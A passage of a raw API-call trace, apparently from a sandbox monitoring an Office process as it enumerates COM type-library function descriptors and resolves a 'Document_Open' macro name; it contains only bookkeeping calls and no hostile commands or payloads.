ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb4, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb5, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb6, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb7, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb8, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb9, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xba, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbb, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbc, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbd, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbe, ppFuncDesc=0x267128, pDummy=0x460 | out: ppFuncDesc=0x267128, pDummy=0x460) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xbf, ppFuncDesc=0x267128, pDummy=0x460 | out: ppFuncDesc=0x267128, pDummy=0x460) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc0, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc1, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.914] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc2, ppFuncDesc=0x267128, pDummy=0x460 | out: ppFuncDesc=0x267128, pDummy=0x460) returned 0x0 [0036.914] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc3, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc4, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc5, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc6, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc7, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc8, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc9, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xca, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xcb, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xcc, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xcd, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xce, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xcf, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd0, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd1, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd2, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd3, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd4, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd5, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd6, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd7, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd8, ppFuncDesc=0x267128, pDummy=0x460 | out: ppFuncDesc=0x267128, pDummy=0x460) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd9, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xda, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xdb, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xdc, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xdd, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xde, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.915] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.915] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xdf, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.916] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe0, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.916] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe1, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.916] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe2, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.916] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe3, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.916] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe4, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.916] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe5, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.916] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe6, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.916] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe7, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.916] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe8, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.916] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xe9, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.916] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xea, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.916] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xeb, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.916] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xec, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.916] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xed, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.916] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xee, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.916] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xef, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.916] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf0, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.916] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf1, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.916] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf2, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.916] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf3, ppFuncDesc=0x267128, pDummy=0x460 | out: ppFuncDesc=0x267128, pDummy=0x460) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.916] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf4, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.916] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf5, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.916] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf6, ppFuncDesc=0x267128, pDummy=0x460 | out: ppFuncDesc=0x267128, pDummy=0x460) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.916] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf7, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.916] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xf8, ppFuncDesc=0x267128, pDummy=0x100 | out: ppFuncDesc=0x267128, pDummy=0x100) returned 0x0 [0036.916] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.917] ITypeInfo2:GetCustData (in: This=0x8087d30, GUID=0x7fee408d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x267158 | out: pVarVal=0x267158*(varType=0x0, wReserved1=0x0, wReserved2=0x1b8, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0036.917] IUnknown:Release (This=0x8087d30) returned 0x2 [0036.917] ITypeInfo:RemoteGetDocumentation (in: This=0x8087d30, memid=-1, refPtrFlags=0x267150, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0036.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x267060, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0036.917] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0036.917] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267100 | out: ppvObject=0x267100*=0x0) returned 0x80004002 [0036.917] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087e90, ppTypeAttr=0x267128, pDummy=0x10 | out: ppTypeAttr=0x267128, pDummy=0x10) returned 0x0 [0036.917] ITypeInfo:LocalReleaseTypeAttr (This=0x8087e90) returned 0x0 [0036.917] IMalloc:Realloc (This=0x7feff045380, pv=0x8228fd0, cb=0x62) returned 0x81a0e50 [0036.917] IUnknown:AddRef (This=0x8087e90) returned 0x6 [0036.917] IUnknown:Release (This=0x8087de0) returned 0x1 [0036.917] IUnknown:Release (This=0x8087e90) returned 0x5 [0036.917] IUnknown:Release (This=0x8087d30) returned 0x1 [0036.917] ITypeInfo:RemoteGetDocumentation (in: This=0x8087e90, memid=5, refPtrFlags=0x2674e0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2) returned 0x0 [0036.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Open", cchWideChar=5, lpMultiByteStr=0x267530, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Open", lpUsedDefaultChar=0x0) returned 5 [0036.917] _mbscpy_s (in: _Dst=0x267380, _DstSizeInBytes=0xe, _Src=0x2ff2b66 | out: _Dst=0x267380) returned 0x0 [0036.917] _mbscpy_s (in: _Dst=0x267389, _DstSizeInBytes=0x5, _Src=0x267530 | out: _Dst=0x267389) returned 0x0 [0036.917] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document_Open") returned 0x1089c1 [0036.917] IMalloc:Alloc (This=0x7feff045380, cb=0x688) returned 0x8273980 [0036.918] IMalloc:Alloc (This=0x7feff045380, cb=0x80) returned 0x819dd10 [0036.918] CExposedStream::Seek () returned 0x0 [0036.918] IMalloc:Alloc (This=0x7feff045380, cb=0x960) returned 0x8274010 [0036.918] CExposedStream::Read () returned 0x0 [0036.918] CExposedStream::Read () returned 0x0 [0036.918] IMalloc:Realloc (This=0x7feff045380, pv=0x819dd10, cb=0x2400) returned 0x8274980 [0036.918] CExposedStream::Read () returned 0x0 [0036.919] IMalloc:Alloc (This=0x7feff045380, cb=0x18) returned 0x81b3a80 [0036.919] IMalloc:Free (This=0x7feff045380, pv=0x81b3a80) [0036.919] IUnknown:Release (This=0x8087d30) returned 0x1 [0036.919] IUnknown:QueryInterface (in: This=0x8087d30, riid=0x7fee40840f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x267268 | out: ppvObject=0x267268*=0x8087d30) returned 0x0 [0036.919] ITypeInfo2:GetCustData (in: This=0x8087d30, GUID=0x7fee408d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x267278 | out: pVarVal=0x267278*(varType=0x0, wReserved1=0x26, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0036.919] IUnknown:Release (This=0x8087d30) returned 0x2 [0036.919] ITypeInfo:RemoteGetDocumentation (in: This=0x8087d30, memid=-1, refPtrFlags=0x267270, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x267290 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x267290*="") returned 0x0 [0036.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x267180, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0036.919] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0036.919] ITypeInfo:RemoteGetTypeAttr (in: This=0x8087de0, ppTypeAttr=0x267270, pDummy=0x0 | out: ppTypeAttr=0x267270, pDummy=0x0) returned 0x0 [0036.919] ITypeInfo:LocalReleaseTypeAttr (This=0x8087de0) returned 0x0 [0036.919] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x0, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.919] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.919] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x1, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x2, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x3, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x4, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xc, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 0x0 [0036.920] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.920] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xd, ppFuncDesc=0x267248, pDummy=0x100 | out: ppFuncDesc=0x267248, pDummy=0x100) returned 